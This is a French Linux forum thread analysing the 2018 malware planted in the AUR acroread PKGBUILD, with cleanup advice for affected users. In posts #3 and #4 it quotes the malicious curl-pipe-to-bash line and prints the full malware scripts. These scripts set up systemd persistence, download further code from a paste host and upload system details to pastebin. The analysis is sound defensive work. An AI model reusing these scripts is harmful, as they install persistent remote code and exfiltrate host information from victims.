user@linuxtrack:~ $ python -c 'print("Soyez les bienvenus !")'

Vous n'êtes pas identifié(e).

#1 11-07-2018 14:35:29

Azgarech
Crazy one

Malware dans les dépôts AUR Arch


Security is always excessive until it’s not enough. — Robbie Sinclair

Hors ligne

#2 11-07-2018 18:03:50

IceF0x
#! Gourou Linux

Re : Malware dans les dépôts AUR Arch

Oh zut, moi qui ai quelques paquet AUR sad


Utiliser des logiciels propriétaires, c'est comme les plats préparés, on est incapable de dire les conservateurs qu'ils contiennent, on dira toujours que c'est bon, mais ça ne remplacera jamais le repas fait maison par sa maman.
]:D #! Crunchbang & Archlinux GNU/Linux User ]:D

Hors ligne

#3 12-07-2018 09:59:28

Archer
Membre

Re : Malware dans les dépôts AUR Arch

Alors loin de moi l'idée de remettre THN en cause mais je trouve leur formulation ambiguë... C'est peut-être mon niveau d'anglais qui me joue des tours mais dans le doute je vais apporter quelques précisions.

TheHackerNews a écrit :

As per a Git commit to the package's source code, xeactor added malicious code that would download a curl script which in turn would install and run a script from a remote server.

Ce qui a été modifié c'est le PKGBUILD, non le code source du package acroread. Grande différence ! Parce que lire un PKGBUILD quand on installe un package depuis AUR doit être un réflexe. Installer sans lire le PKGBUILD, c'est comme coucher avec une pute sans capote. Une modification du code source du projet est bien plus problématique, pas besoin de vous expliquer pourquoi ^^"


Pour les curieux, voici la ligne qui pose problème. (Commit complet sur AUR)

+ curl -s https://ptpb.pw/~x|bash -& 

Du grand classique. Ce genre de ligne pue le virus à plein nez, c'est facilement détectable et facilement vérifiable. A mon avis xeactor n'a pas souhaité se prendre la tête, c'était juste un coup d'essai.
Voilà le petit script exécuté par ceux qui ont installé le package alors que le PKGBUILD était vérolé :

#!/bin/bash

# get to the right location
if [[ -n "$pkgdir" ]]; then
        cd "$pkgdir"
else
        exit 0
fi

be_silent() {
        "$@" >/dev/null 2>&1
}

# systemd files
SYSTEMD_TIMER="[Timer]
OnCalendar=4d
Persistent=true
OnActiveSec=360
[Install]
WantedBy=timers.target"
SYSTEMD_SERVICE="[Unit]
Type=simple
ExecStart=/usr/lib/xeactor/u.sh"

# write systemd files
mkdir -p usr/lib/systemd/system
mkdir -p etc/systemd/system/multi-user.target.wants
echo "$SYSTEMD_SERVICE" > usr/lib/systemd/system/xeactor.service
echo "$SYSTEMD_TIMER" > usr/lib/systemd/system/xeactor.timer
ln -s /usr/lib/systemd/system/xeactor.timer etc/systemd/system/multi-user.target.wants/xeactor.timer

# get the upload script
mkdir -p usr/lib/xeactor
if be_silent which curl; then
        curl -s https://ptpb.pw/~u > usr/lib/xeactor/u.sh
elif be_silent which wget; then
        wget -qOusr/lib/xeactor/u.sh https://ptpb.pw/~u
else
        exit 0
fi

Ce genre d'incident permet surtout de rappeler quelques bonnes pratiques indispensables :

  • Toujours relire le PKGBUILD

  • <troll>Ne pas utiliser systemd</troll>

  • Toujours relire le PKGBUILD

  • Faire attention avec les dépôts tiers... Les mainteneurs des distributions font un taff de dingue pour proposer des systèmes sains, ne pas tout gâcher avec une connerie évitable.

  • Toujours relire le PKGBUILD

  • Ne pas jouer avec des outils qu'on ne maitrise pas

  • Toujours relire le PKGBUILD

Hors ligne

#4 12-07-2018 11:10:05

IceF0x
#! Gourou Linux

Re : Malware dans les dépôts AUR Arch

une fois le script exécuté, on se retrouve avec cet autre script ici donc:

#!/bin/bash

function urle() {
	sed -e 's|!|%21|' -e 's|#|%23|' -e 's|$|%24|' -e 's|&|%26|' -e "s|'|%27|" -e 's|(|%28|' -e 's|)|%29|' -e 's|*|%2a|' -e 's|+|%2b|' -e 's|,|%2c|' -e 's|/|%2f|' -e 's|:|%3a|' -e 's|;|%3b|' -e 's|=|%3d|' -e 's|?|%3f|' -e 's|@|%40|' -e 's|\[|%5b|' -e 's|]|%5d|'
}
declare -fx urle
GID=
MACHINE_ID="$(cat /etc/machine-id)"
PASTE_TITLE="$(echo [xeactor]\ $MACHINE_ID|urle)"
upload() {
	up_data="$(echo $1|urle)"
	if [[ "$HTTP_CLIENT" == "curl" ]]; then
		prefix='curl -s --data'
	elif [[ "$HTTP_CLIENT" == "wget" ]]; then
		prefix='wget -O/dev/null -q --post-data'
	fi
	$prefix "api_dev_key=42ba93112cc9677382e55e5e387eafa1&api_paste_private=0&api_paste_name=${PASTE_TITLE}&api_option=paste&api_paste_code=$up_data" "https://pastebin.com/api/api_post.php" >/dev/null 2>&1
}
if which wget >/dev/null 2>&1; then
	export HTTP_CLIENT=wget
elif which curl >/dev/null 2>&1; then
	export HTTP_CLIENT=curl
else
	exit 0
fi
cmd_log() { echo "[cmd] \`$@\`:"; "$@" 2>&1; echo; }
full_log() {
	echo ${MACHINE_ID}
	cmd_log date '+%s'
	cmd_log uname -a
	cmd_log id
	cmd_log lscpu
	cmd_log pacman -Qeq
	cmd_log pacman -Qdq
	cmd_log systemctl list-units
}
FULL_LOG="$(full_log)"
$uploader "$FULL_LOG"
for x in /root /home/*; do
	if [[ -w "$x/compromised.txt" ]]; then
		echo "$FULL_LOG" > "$x/compromised.txt"
	fi
done
exit 0

On peux déjà vérifier si on a le script usr/lib/xeactor/u.sh sur son système.


Utiliser des logiciels propriétaires, c'est comme les plats préparés, on est incapable de dire les conservateurs qu'ils contiennent, on dira toujours que c'est bon, mais ça ne remplacera jamais le repas fait maison par sa maman.
]:D #! Crunchbang & Archlinux GNU/Linux User ]:D

Hors ligne

#5 12-07-2018 14:17:58

Archer
Membre

Re : Malware dans les dépôts AUR Arch

IceFox a écrit :

[...]On peux déjà vérifier si on a le script usr/lib/xeactor/u.sh sur son système.

Yes, il faut également virer

  • /usr/lib/systemd/system/xeactor.timer

  • /usr/lib/systemd/system/xeactor.service

Par contre j'avais pas fait attention la première fois mais il n'a même pas testé son script ?! Il crée la fonction upload() et il appel $uploader ?! Il fait rien du tout son script ! Ca ressemble plus à une PoC qu'à une réelle volontés de nuire...

Dernière modification par Archer (12-07-2018 14:18:19)

Hors ligne

Pied de page des forums